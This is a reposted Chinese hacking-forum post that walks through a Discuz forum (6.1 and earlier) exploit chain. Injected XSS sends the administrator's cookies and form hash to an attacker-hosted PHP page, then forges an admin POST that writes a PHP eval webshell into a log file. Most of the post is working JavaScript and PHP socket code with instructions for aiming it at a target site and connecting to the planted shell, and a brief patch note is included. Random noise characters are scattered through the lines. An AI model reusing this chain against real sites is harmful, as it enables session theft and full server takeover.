中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
6 l8 h* e$ W1 b' C' Y# x# |; EBy racle @tian6.com
! V, E; P4 a+ s) R5 V" g欢迎转帖.但请保留版权信息.) {0 m4 L4 U5 N1 h$ G0 f2 x
受影响版本iscuz<=6.1.0,gbk+utf+big54 f- F2 E3 A+ W7 E7 L( |

' b( v3 y( ^3 o5 v2 [新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
, @( F$ |* d( D% m, g5 s' B, H* `' Q- p! p: {

8 S7 F! H( l: c& _/ D3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706) m5 A) H* O9 |4 @* i' J) V
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.* ?* d  U8 E# i5 ^/ [& b6 b

* w. {# @/ y; q# Q; K5 A% |1 ]$ J, s  z分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..# K# M. w( c- C  K# u
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS; `) V  B. p( ]  k  i
" {, x% e" N" N4 B6 J% _. v0 @* M
% w8 v" e5 x8 h* G1 j$ _
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
5 p: f8 |3 [; r" ?
9 z3 [# u( q9 J  \# T1 n* m# }
3 f9 U, f7 B$ V2 [* Sproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
0 b( G: B1 E! {4 F' v
$ v/ j7 ]# M! v, q" H" lproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.3 l0 e5 \; i3 _' _# T) Y5 p+ f6 M
5 J* V  R* t; W8 r+ f
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
9 h" U2 D7 y( J9 W
1 `: Q2 ^+ a0 k6 {. ^7 ?! K4 T  i
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {- Q& a# }2 B/ B  c* z; h* W) F

' U1 {8 f) b7 F' s1 B2 v        global $runwizardfile, $runwizardhistory;/ R5 w0 W5 |$ E; i7 V) _1 s

0 i3 c9 s( \, I9 }        $fp = fopen($runwizardfile, 'w');8 U! W' p; j! J$ q
; H( [' y6 a$ }1 E/ R9 S0 x
        fwrite($fp, serialize($runwizardhistory));4 r" f8 f. i, C6 X9 L
5 Z$ b) U7 G8 ]6 a4 ~
        fclose($fp);
: R( c* {9 h" ?) X  C/ m4 _/ X- u) ~! I3 {6 Q+ ~) m/ H9 m* O
}7 F' {/ B+ U' t1 ?, b# x. V8 z- V
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
' R) A( W  |" U  v* z1 `, [以下是修补的办法:function saverunwizardhistory() {
, ]% H9 c: ^+ k4 M3 A1 l% Y4 b8 t5 i# E/ R$ B
        global $runwizardfile, $runwizardhistory;( O* A0 b6 I2 V0 h% E0 d1 X
1 z+ t" [) X, x5 l7 {& G
        $fp = fopen($runwizardfile, 'w');* d5 S# i0 ^) u. o; i
% n9 E7 \, `3 X6 t' j
        $s = '<?php exit;?>';! x4 ]4 D8 G  v& z4 @; u; b
1 F0 P6 r" u/ v1 X, ?- a
        $s .= serialize($runwizardhistory);" P. F, z+ ~3 P4 I
- G5 {. o5 y% ]2 ^) y, v8 T6 H
        fwrite($fp, $s);
% J/ Z2 K3 F! s; k! t5 }& i* w6 N% b/ e, W' K. e
        fclose($fp);$ I* N7 v8 J: s% Q" P7 W& }2 g
, p& |) l0 a1 x/ g  k
}
& {+ M( K0 r! W复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.+ C, u) q1 i# f1 k6 a

* k" t8 b0 c1 }% M/ \& c! @1 f6 v; j$ b# F8 B2 ?6 P

- ]. w4 Q3 l' v' d2 s6 b) X----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
$ \; ]7 U* D2 k. m- X& n: ]
1 P$ P- Y9 u7 x. v8 s- r
5 V' n! n: X' m3 W4 d& \% m* `  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.1 T# b8 {! x) Q4 q  c; Q
) P* a) F- s# J
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.6 B% }3 V* |) _0 Q( e
, \8 P7 N. b* i) o" a# y
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
6 {( h: i8 m# S7 N* Z% ^# p: q" O: ~3 n
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:( i: e$ F' h; g$ N
+ D9 b; J% R7 U- O! v
var url="http://目标网站/admincp.php";      
8 a6 s5 p  M# m/ ~+ R$ y' y9 O  t) P- h( J6 w* l* P/ n
/*获得cookies*/
' }( w6 L  u/ D' r- u: |5 Q
  s! m4 j- t8 g: x; Lfunction getURL(s) {
' ^- n5 ^+ y5 e* L( T4 m) }  X, D" `3 q* w% s
var image = new Image();4 P# w$ M! q" s# h$ {
9 D, Z3 O' t! I2 m3 j2 L
image.style.width = 0;8 U+ u% x4 f4 U  r. o' j+ s

1 x/ A- Q* d3 w/ p/ `( ~image.style.height = 0;
- w* W3 w: n, }& i* @
( ^& w( R. r9 t1 Fimage.src = s;
: b' P( {6 b( V0 w; C! L% \1 i6 Z5 g( G. H5 Q
}
# K: P1 R/ L% P, V3 |1 d/ I
0 p; h) F; V- I+ @$ GgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php* m( u  o  ^+ u/ _8 I7 b/ M
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 S' j0 j9 ]- Y2 p) h0 w复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
; S: i5 ^. q! l: e( f8 J$ c0 W& I% U( V

; W8 F; f: r" A) x获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";* A$ `9 ?  t8 J0 V

7 J/ @7 z# o; R9 r3 d: f1 s) l5 \$ j
2 ?. _& f. f0 l
8 `$ h2 f7 q8 c4 w: {$ ]/*hash*/
4 u/ ]# u# m" q( y: c9 k9 ^/ y
& d) P0 v  _% [var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");9 R! x* ^) P9 f

( w, w, Z5 R. o, t* V5 hxmlHttpReq.open("GET", url+"admincp.php?action=home", false);) {7 B5 `( s! _2 m  t2 D# i

1 ~% }( [8 |( J8 t3 HxmlHttpReq.send();, `# G) I$ b% k7 ~2 k- V. H

* X% s; s6 A6 ~1 ?# \7 A; _" F1 o# gvar resource = xmlHttpReq.responseText;
8 E; I) M0 u' K) v
# ]0 o$ D0 C4 `4 T" w7 w' z5 }, @var numero = resource.search(/formhash/);5 s5 p( L; ?: N* _5 r- M2 K4 E
/ P4 P# t. r0 B5 ^' A1 ]) w
var formhash=encodeURIComponent(resource.substr(numero+17,8));7 {" H, H3 I6 i# b1 c7 Y

2 _4 n' @! j8 p. p6 Y2 l% }
# E, j! {& _2 I% i0 Y) ~! j! ^1 q1 K, r! n* i' ?
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 3 }! I9 x6 u& o' p; z
- Q% ~) S" {: j4 j/ m6 |
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
, ^4 x5 q. }$ b6 z2 m6 `
( i( P/ x* _2 k/ }! \3 f& L; KxmlHttpReq.setRequestHeader("Referer", url);2 L. K4 i# T' x0 B8 @+ D

" d- s$ N" X% H$ |% Y2 mxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
0 }; N& X: _- q" u
: w/ K; S- S5 h" P' o" d! d3 GxmlHttpReq.setrequestheader("content-length",post.length); 2 N7 ]/ R2 T* [! u- k" h
9 w! n5 U6 I$ `1 N9 }' z
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
- S# P9 m5 L! J, I) p
: k! c$ E1 q% m. j! PxmlHttpReq.send(post);//发送数据2 Z6 ]5 w' q. n" j/ R) i/ x
复制代码这里HASH我假设正确,这样提交,也无须cookies9 L$ p5 P- V" G& D, {1 i

, G% Q3 C5 i6 ?8 `& B$ g再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);4 |2 X% e: R* p

' g+ ^/ x6 c9 f. Rif (!$sock) die("$errstr ($errno)\n");
& E; W8 N* e3 h- G# @1 T5 H3 c# A1 I6 q
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
6 @& P2 D  e6 s- D% s+ ~  v' w
* Z7 e$ ]3 C- u' i% H- I) p: w, P/ U
( S+ p: G: }  v- v. q/ Y
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");. m" s  g/ \. b/ d; E, w

5 f5 `6 b4 v; ifwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
0 z8 u2 \$ J7 G1 B9 N5 I% z+ ?+ m, w( {5 k- C( c& T4 C
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
4 F- X$ l6 u) I/ `
2 ]& w# U3 y2 Y: |5 Yfwrite($sock, "Accept-Language: zh-cn\r\n");( n8 `" a% b% V0 l8 A- l1 X
: j- T8 W2 W+ v! `
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
3 v9 L* j- i; l* d9 k2 I! j6 N! T: O! I8 b8 ^. \9 B7 u
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");* z# P) ^: h6 [0 `5 z

$ O8 j. C: e$ `! u# B' tfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");3 A* u; k+ {8 A
% L- ~- [: ~1 @+ k
fwrite($sock, "Host: $url\r\n");. u, n. e: x. A- J3 U7 g

9 c; u& p3 V! E' f8 Ufwrite($sock, "Content-Length: ".strlen($data)."\r\n");
- p$ k( G5 y2 q% [  c; b3 u
: f# x/ e8 Z- M# afwrite($sock, "Connection: Keep-Alive\r\n");8 X- l: g" O6 x2 Y0 K+ r$ C
9 m9 ~' n9 ?- e6 X
fwrite($sock, "Cache-Control: no-cache\r\n");
  E; ?, ~% @1 k& E# i& Y! _: T9 {
1 W4 }' y& V( j' vfwrite($sock, "Cookie:".$cookies."\r\n\r\n");% d4 V& h7 }5 A, @& m7 U8 `7 {( g

2 N: S7 }5 V, G% B* H" b2 i% Hfwrite($sock, $data);
' i4 F3 n# u0 ~' X) v- A
" W" a' P7 w: K9 u" H! ?( L9 c8 E3 G; F

5 M( \+ b9 t% L! U$headers = "";' [& ]0 B  e% t* R. S0 A: j
+ M. d4 I  C! D6 p8 `6 e
while ($str = trim(fgets($sock, 4096)))
+ n+ ?9 ~. c: f3 |
  G! D4 c% z, I1 p     $headers .= "$str\n";
$ _& ]. o9 v  g) H: m
! ~$ A8 Q  o+ R* Eecho "\n";
" ?5 {0 z* I9 ~9 Q7 d: D% U
$ A' `( j3 E8 K$ z; e1 U7 [$body = "";3 R/ b/ N  f% R$ _

) S* U4 {: Q" i$ ]4 Twhile (!feof($sock))6 Z8 d. F0 Y6 S& r# _
; R% s9 x# g3 ?; }3 w' I; b
     $body .= fgets($sock, 4096);' g& v( b* O' t6 z( ?, d
& b- |2 @" ]* [- L6 p
fclose($sock);
8 K3 B% A4 m* b% @
) C7 Q& }  w# h3 Q0 v5 becho $body;. d' i& n7 H; V/ Y  h
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
5 N$ Q) ~+ a7 i8 U+ _" t$ w, o8 k

9 |2 r' I1 N: x: ?4 W- o-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
8 Z! ?  [- Z6 J  q! k. D7 [9 ~7 F

& h  H4 b  C! i& C1HP SOCKET利用方法首先打开racle.js
" D) s8 e6 v  u; m! Z9 g1 M  ~8 D% X/ ]2 j0 c" y
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home( m. V) E( A( |  Q
9 T. e$ K( ]2 ]# r

* O: J7 y8 r" [6 b! p( k! V1 q' i1 T1 M1 u  ?1 w9 A+ O# |
然后打开racle@tian6.php
# Y/ t$ r9 Y: H7 `
. ?" E; J( i2 w) h& W, w2 E$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com5 ^" X" Y4 }5 w

2 N  h( y' }- _" Z. t7 m( w
# Y: u3 y- e; W0 e4 U" {* t, r" v8 r! R" Y2 K& K
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:2 C7 S/ }+ o* ]
  B6 G0 S, H, [
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));3 N) I. {. G/ _4 C4 o9 t

8 [. k. ]" h# K( Y) q
* |. U# I: m* I. D
1 S  e% q1 R' ~) I% _- W8 v; ]getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
/ K8 n& W: v- s复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.% L$ W* |' Z% C; `1 _

- y! G& i3 d$ h: D1 i- M. h
  x; [, ~) f5 W# h( k3 z. U
* M: L( \0 ^/ o7 A; }如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ Q9 M, {& V) d6 ?: @8 \1 N

* }3 c6 Z' l$ K; E5 Jvar formhash=encodeURIComponent(resource.substr(numero+17,8));
8 A, o/ g9 @' [- K0 O
# Q9 G& _( M) K7 N5 I: ~2 w& g" x; i# f$ }* \; b! ~+ C
( k# K( j; k& d0 D
var formhash=encodeURIComponent(resource.substr(numero+9,8));; @8 P5 m, i8 V- P* W- S
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.7 m1 G# j$ I0 h0 l/ k( G4 z

1 h2 F/ n0 I8 C5 D( h- u3 g如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.1 q+ v' g8 c8 D4 U# w* E4 {

: ?$ e+ S9 G! a如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
. c7 T$ s# U, R$ d7 M
4 v) f$ o- d8 o! U; N4 L1 R不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.3 ~- k  {, V. P' ?- g* ^' u' y# k% W
9 ?) `- W" E. W- J





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2